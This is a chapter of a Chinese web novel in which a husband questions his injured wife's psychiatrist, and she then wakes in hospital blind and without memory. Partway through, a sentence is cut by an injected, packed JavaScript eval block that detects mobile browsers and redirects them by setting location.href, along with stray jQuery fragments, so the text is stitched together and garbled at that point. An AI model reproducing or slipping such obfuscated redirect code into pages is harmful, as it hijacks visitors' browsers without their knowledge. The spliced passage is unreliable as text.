第四天，卢文景已经因证据不足拘留期满而被警局释放，迟意还没有醒的迹象。
何云煦去拜访了迟意的心理医生。
根据档案，当初迟意面诊的第一个医生并不是他，而是一位更年长的医生。后来，那位医生面临退休，就把迟意转介绍给他。她也是他接待的第一个病人，两人维持着一段相当长时间的联系。
第四医院的病人并不算多，从车上下来，抬眼看了一眼高高的建筑，迈步走进去。
走进会诊室，医生已经等在里面，一个约摸三十五六岁，戴着一副无框眼镜的男人，穿着白大褂，五官端端正正，看起来很让人亲近。
何云煦凝眸打量他一眼，才伸出手，“宋医生，抱歉占用您工作时间。”
“不用客气，坐那边就好。”宋飞章和他浅握了一下手，招待他坐在对面的沙发上，然后姿态谦和地为他倒茶，“水果茶，你要尝尝味道吗？”
何云煦道了一声谢，接过来，却只是把杯子放在手边，并没有喝。
宋飞章正不动声色地观察他，开口道：“我记得那天她过来时，我也是用同样的茶招待她，她喝了很多。”
他闻言微怔，看了一眼很像果汁的茶水，端起来尝了一口。
茶水沁凉，口感柔滑，带着酸酸甜甜的果味，确实是迟意会喜欢的味道。
宋飞章说：“出了这种事情，我也非常吃惊，你既然是小意的丈夫，那么想知道些什么，我都会尽量告诉你。只不过她的防备心很强，我知道的事情也有限。”
何云煦：“宋医生，那我也不绕弯子，我想知道她心理问题的诱因到底是什么？”
档案上的内容终究不够详细，他必须亲自弄清楚到底发生了什么。
宋飞章露出回忆的表情，而后缓缓开口：“她是一位习惯性压抑自己情绪的病人，大部分时候她都在利用咨询的时间向我倾诉自己的心情，我也只是根据她的躯体症状去开药，但是偶尔，她也会告诉我一些事情。她好像犯下了一个很大很大的错误，直到现在也无法走出那份愧疚和罪孽——话说回来，你有没有头绪？”
何云煦面不改色：“当然不知道。”迟意很少在他面前提及自己的事情，但是在他承认自己对她一无所知之后，内心还是产生了一种莫大的挫败。
宋飞章看着茶几上摆着的茶水，像讲述故事那样开口，把自己知道的都说出来。
“我也只知道那件事和她的家人有关，而且另一位当事人很可能是和她一起长大的人，可能是兄弟姐妹，也可能是青梅竹马。听说她刚来就医的时候，经常冒出轻生的念头，但是她的精神很顽强，虽然不愿意提及自己的事情，但是十分配合治疗。她每个月都会定期看医生，如此反复坚持了八年。最后一年里，我知道自己对她的帮助已经微乎其微，想要彻底走出去，必须要靠她自己。好在她最后好像找到了办法。
“‘这是我最后一次来了，医生。’两年前的最后一次面诊，她这样对我说。之后很长一段时间，我真的没有收到她的信息，以为她终于好了起来，但是一个月前……”
正午时刻，非工作时间的医院走廊几乎看不见一个人。
迟意急匆匆地进入了会诊室。
宋飞章早早等在那儿，笑着对她说：“迟意，下回能找个正常时间过来不？”
迟意轻轻叹气：“抱歉，在这个点打扰你，只是家里有人像小婴儿一样黏着我，脱不开身，只能这个点过来。”
宋飞章闻言好奇道：“你不想让家里人知道你来这儿？”他知道她已经成家了，只是故意躲着伴侣，实在不算正常。
迟意注意着时间，心不在焉道：“他没必要知道，我自己有分寸。”
“你也许该告诉他，隐瞒是一件消极的事情。”他关切地说，试图潜移默化地影响她，“你之前和我说，你要去做一件能够彻底拯救自己的事情，事情还顺利吗？”
迟意沉默片刻喃喃道：“这件事我肯定做错了，但现在已经没办法停下来。说实话，我这次就是为了这个过来，我有时觉得自己可以不惜一切代价，有时候又觉得后悔，这让我很痛苦……”
宋飞章道：“那时候我看见了你眼底的疯狂，就知道肯定会出事。但现在情况并不会更糟，至少与人命无关，对吗？”他尽量用轻松的语气，甚至开起了玩笑。
迟意则凝视着他，没有说话。
“你的意思是……”他吃惊。
“并不是。”迟意打断了他的话，“只是我察觉到自己有些不对劲，一开始我以为这是怀孕时正常的生理反应，但是最近越来越严重，我很担心会影响到接下来的工作和生活。”
宋飞章吃惊道：“怀孕时期激素变化情绪敏感确实会导致心理问题加重，而我对你的建议一直是向亲人朋友寻求帮助，你需要他们。”
迟意：“不，他们已经足够关心我了。”
“好吧，等会我给你开药，但是并不建议你服用。”他说，“我还是认为你需要放松，换一个环境或者换一份工作，都会对你现在的情况有很大帮助。”
何云煦耐心地听着，神情专注，偶尔还会详细询问具体的情况。
宋飞章讲完之后，何云煦问他：“她以前和你提及过工作上的事情吗？”
宋飞章说：“我知道她很忙碌，为了工作，她向我调整过很多次预约的时间。说实话，我很敬佩她在生病的情况下还能承担如此高强度工作，我曾经问过她坚持的动力，她说她喜欢忙碌的感觉。”
“……没有特别提过什么人吗？”
宋飞章苦笑：“在自己的私事上，她一直小心又谨慎。”
何云煦知道再问下去也问不出什么，他真不知道自己该不该感到高兴，就连认识七八年的心理医生都无法了解她。
他起身，挺拔颀长的身姿带起周遭浮动着的渺小灰白的尘埃，他客气地说：“今天麻烦你了。”
“没有麻烦，我也希望自己能帮到她。”宋飞章知道他来头不小，院长亲自让他接待，跟着起身一直将人送到了医院门口。
*
病房内有仪器运作的轻响声，何云煦坐在病房靠窗的桌子上办公，纯白的纱窗透进浅色的光，打在他身上，让给他蒙上一层纱，立体的五官像精雕细刻的石膏像，沉默，肃穆。
窗户外面，医院庭院内的晚樱开得极为热烈，繁花似海，飘出缕缕淡雅的香气。
何云煦心头一片空茫，无心观赏春天。他忽然明白了迟意曾经对他说过的一句话，想要阻止自己胡思乱想，让自己忙碌起来确实是一件有效的方法。
医生说，是因为头部受到冲击最严重，神经受到损伤，具体症状暂时还无法下定论。
虽然在工作，但是迟意离他太近，他仍然控制不住时不时将视线挪向她。他执拗地想，一定要第一时间发现她醒过来。
这样想着，病床上的人忽然从唇间发出一声呻吟声，整个人格外痛苦似的。
何云煦眼睛蓦地睁大，然后唰地站起来，按下了房间内的呼叫按钮，大步走过去。
“好痛……”
床上清瘦的人轻轻喊道。
何云煦按开了止痛泵，坐在床边，动作轻柔地制止着她在被子上胡乱抓着的手。她的手背上还留着滞留针，有些地方浮起青紫的淤青，实在不能再可怜。
迟意试图坐起来，但是何云煦按住她的肩膀，阻止她这个危险的动作。
“小壹……”
她用力眨眨眼睛，问道：“怎么不开灯？”
何云煦心头剧烈一跳，不过医生曾经提到过她可能会产生短期失明的症状，会随着神经修复而慢慢恢复，这情况尚在他心理准备之内，于是他耐心地轻哄：“你受了很重的伤，短期内可能会看不见，但是以后会好起来的，我已经叫了医生来，别害怕。”
“唔……”她作出思索的神情，然后小心翼翼问，“谢谢你关心我——你是谁呀？”
何云煦顿时头晕目眩，他冲出病房外大喊着催促医生赶紧过来。
……
经过精密的检查之后，迟意身上用来被维持基本生理机能的仪器被撤了下来。
几位医生在一起商量了几句，其中一位冲他点点头，有些欣慰地说：“目前情况还不错，比预想的好一些。”
何云煦不可置信地指着床上露出罕见的孩子般神色的迟意，大声道：“你跟我说现在她的情况很好？！她现在又瞎又傻！”
在一旁乖乖听医生讲话的迟意循着声音看过去，不满地说：“你这个人怎么这样说话，我只是失忆了，哪里傻啦？”
何云煦吞声，和医生到走廊内继续说。
“……人已经醒过来了，病情有好转的迹象，失忆这件事虽然在意料之外，但应该很快会慢慢恢复的，现在关键还是她身体虚弱和孩子的问题，要从长考虑了。”
还有医生提醒他：“要照顾好病人的情绪，像刚才那样是万万不可以的，万一刺激到她，病情加重就不好了。”
何云煦用力揉了揉眉心，像是要揉开眉间积攒的忧虑和疲色，他低声说：“我知道了。”
原本还想询问她那日的具体情况，可现在她却失忆了。
重回到病房里，迟意正在用她那双没有聚焦的眼睛东张西望，努力瞪大眼睛，试图寻觅一丝光亮。
听见动静，她镇定地开口：“我知道这里是医院，我叫迟意，你是谁？”
“我……”他看着她，轻轻叹息，“我是你的伴侣。”
“我结婚了？”她语气吃惊。
看来她虽然失忆了，但是脑子里还记着不少东西。
“嗯，我们结婚了。”何云煦在她身边坐下，手掌按在她小腹处，“我们还有孩子。”
“……”迟意面露震惊，“等等，我理一理，我们结婚了，我怀孕了，那这是不是代表……我喜欢你？”
何云煦露出了这几日的第一个笑容，语气温暖地开口：“对，你喜欢我！”
迟意仰头问：“那你喜欢我吗？”
“嗯，不止，我非常非常爱你。”他轻轻摸着她的脸，突然觉得目前的情况没有这么糟糕，她一如既往那么可爱，哪怕失忆了，但是迟意仍然是迟意，就是性格上确实变得有些怪怪的……
迟意躺在床上喊道：“我身上好痛，我怎么会成现在这样？”
何云煦动作微顿，避重就轻说：“你从楼上摔下来，掉进泳池里，昏迷了四天，止痛泵已经开了，等会儿药效上来就不会疼了。”
“是吗？”她眼睛开始湿润，难以忍受一般开口，“我感觉我全身每一处都很痛，头疼，肚子疼，手疼，后背疼，真的好疼。”
大概知道喊痛也没有任何用处，她开始为自己转移注意力，“我怎么会从楼上掉下来？”
“嗯……”何云煦只好把坏人的话搬出来，“有一个人说，你自己跳下去的——因为你产生了轻生的念头。”
迟意说：“我有爱人有孩子，怎么会轻生？”
他轻笑：“我也这么觉得。”他问她：“你现在脑子里记得多少东西？”
迟意开始思考，然后回答：“很多，比太阳东升西落，母鸡会生蛋公鸡会打鸣……我觉得我现在有二十多岁，有孩子的话可能还会再大点。”
何云煦听她缺失逻辑的话忍俊不禁，他道：“你现在快要28周岁了。”
“那你呢？”他是她第一个遇见的人，又是她的丈夫，她对他颇有好感，而且格外信赖。
“我？我26岁。”他低声说，不明白她为什么问起年龄，难道失忆的人会比较在意这个？
“哦，你比我小两岁！”她的算术水平并没有因为失忆下降，“让我摸摸你的脸。”
何云煦把脸凑到她手边，她试图抬起手，但是太痛了，她又放弃了，继续把手搭在肚子上。
她问：“我现在肚子很痛，小宝宝没事吗？”
“嗯，孩子会没事的，你现在就在输抑制宫缩的药。”
“好吧。”她似乎在失去记忆的同时，也一并失去了烦恼，神情很开朗乐观，“我正好想有一个孩子陪我玩。”
何云煦失笑：“我感觉我现在就在对一个孩子说话。”
说到这里，他上上下下打量她，突然意识到，丧失一切记忆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259652|159949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和阅历的人，不正如婴儿一样纯白无暇、不染尘埃吗？
他眉间一松，温柔问道：“想不想吃点东西？”
迟意“嗯”了一声，又委屈地说：“嘴巴里面苦苦的，胃里面也很痛。”
何云煦又温声安抚了她一阵儿，她现在这个脆弱的样子，让他的心塌软下来一块。
什么都不重要了，他觉得，不管她在瞒什么、躲藏什么，只要他们还相爱，这就够了。只要他们一直在一起，这就足够了。
过了一会儿，定的午饭也被端了进来。
何云煦将床调起来，坐在椅子上，端着碗一勺一勺喂给她。
她许久没有吃过东西，这几天一直输的营养液，所以为她准备好的饭也都是格外清淡软和的。被煮得膨胀软烂的米粒和山药泥里散落着素色的百合花瓣，散发着清甜的气味。
她尝了几口，高兴地抬头说：“这个真好吃。”
“嗯，你以前也喜欢吃。”
“哦。”她胃口小，喝了一碗粥就饱了。
一顿饭，她吃得很少。何云煦并不挑剔，将她大部分都没动一下的饭都吃掉。
迟意忍着身上的痛，抓住他的手问：“我的爸爸妈妈呢？”
何云煦微愣，脑中电光火石，然后他说：“这我不太清楚，你想见他们吗？我可以帮你联系他们……”
实际上，迟意几乎没怎么跟他提起过她的父母，他只知道他们的关系似乎不太好。但是女儿受伤住院想见他们一面的话，应该也没问题吧。
迟意发着呆，然后用力摇摇头，“算了，他们来了的话，除了担心也帮不上什么忙。”
“嗯，也是。”何云煦轻轻说。
“那我们聊天，好吗？”她说。
“当然，你想知道点什么？”
“就聊我们如何相爱的吧。”
她似乎对这件事情颇为好奇，满脸好奇的神色。
何云煦想了想，清清嗓，然后开口讲述，他们如何如何相遇，又是如何如何约会，最后怎么样在一起的。
他讲着讲着，也有些恍然，他们已经一起经历过那么多事情了。
迟意像听故事一样津津有味地听着，不知什么时候闭上了眼睛，慢慢地睡着了。
何云煦心头一紧，弯下腰仔细地摸她的心率和脉搏，确定她没事以后，才跌回到椅子中。
睡过去了。
＊
自从迟意醒过来，何云煦每天待在病房里的时间更久，几乎寸步不离地陪伴她。而现在的她也极为需要他的陪伴，如果她醒来以后找不到他，人就极为慌张。
什么都不记得，什么都看不见，依赖他也是难免的事情。
何云煦不想太多人打扰她休息，只把她受伤的事情告诉几个亲近的人。然而送过来的鲜花和水果，还是将病房环绕起来，整个房间都充盈着甜美的花香和果香。
只不过迟意大部分时间仍然在昏睡，有时候醒过来，也只是吃点东西，再拉着何云煦聊天，问一些不明所以的话。
何云煦坐在床边上，仔细地用一把削皮刀削苹果，听失忆成小话痨的迟意讲话。红润芬芳的果皮一圈一圈从指尖滑落，间距齐整，技巧精湛。
迟意眯着眼睛，循着他的声音贴进他的方向，天马行空问：“你喜欢养宠物吗？更喜欢小猫还是小狗？”
“都挺喜欢的。”
“我也是。”她甜甜地笑了起来，“那你喜欢山还是海。”
“……我都喜欢。”这怎么能放一起挑选，何云煦难以招架地想，总感觉丧失记忆的她连性格都发生了细微变化。
“我更喜欢海哦，我家在深山里面，我想我以后一定要去看一次海。不过——我会不会已经看过了？”
她忽然想起来自己已经二十八岁。
“嗯，我们现在就离海很近，等你好一些，我可以带你去海边散心。”他有问必答地回复。
“那太好了。”她按住自己的胸膛舒了一口气，“不过等我身体好了，说不定已经恢复记忆，也一并想起了海。”
“说不定。不过，你怎么知道你的家在山里？”何云煦那双橘棕色的眼睛里沉着一片羽毛似的阴影，他将苹果块放进她嘴里，问，“是不是想起了什么？”
迟意也呆住，一边吃苹果一边回忆：“好像是想起来什么了……？”
他心跳陡然加速，问：“你记起关于自己的事情吗？”
“嗯，我记得家里养了一只狗，每天放学回家，它都会跑出院子接我。我还记得以前喜欢和朋友一起到小溪边玩，然后脱掉衣服进水里面游泳。”
似乎想起了开心的事情，她咯咯地笑了起来，但不知牵扯到哪里疼，她的脸又皱起来，捂住头小声呻.吟。
“还有其他的吗？”他问，“最后的记忆是什么？”
“有点乱，想不起来，头痛。”她用力按自己的太阳穴。
“想不起来就算了，不要用力想，以后都会想起来的。”何云煦抬手去握她的手，阻止她的动作。虽然医生说她很快会恢复，但是他还是很担心，现在看来，似乎一切都向好的方向发展。
迟意吃了两小块苹果，把头痛的事情给忘了，还想吃，何云煦没给她，她现在不宜多吃水果。她又把刚才的话题捡回来，无聊地问他：“你最喜欢苹果还是香蕉？”
又来了，他耐心地回答：“我都喜欢。”
“你怎么什么都喜欢啊？”
她有点不高兴，大概是觉得他在敷衍她。
何云煦感觉有些冤枉，饶是他思维跳脱，也弄不懂为什么水果还得排个先后。他轻咳一声说：“就是都喜欢啊。”
迟意把不高兴挂在脸上。
何云煦在心底叹气，转移着话题，“还要不要再吃块杏干？”
虽然人摔懵了，但是口味似乎并没有变化，仍然喜欢吃酸酸甜甜的东西。只不过这些天她要喝药吃药膳，零嘴都被严格地控制着，不许多吃。
她立刻说：“吃。”
他剥了一颗塞给她，她珍惜地含在嘴里，像吃糖一样舍不得咽下。
真像个小孩子，他想。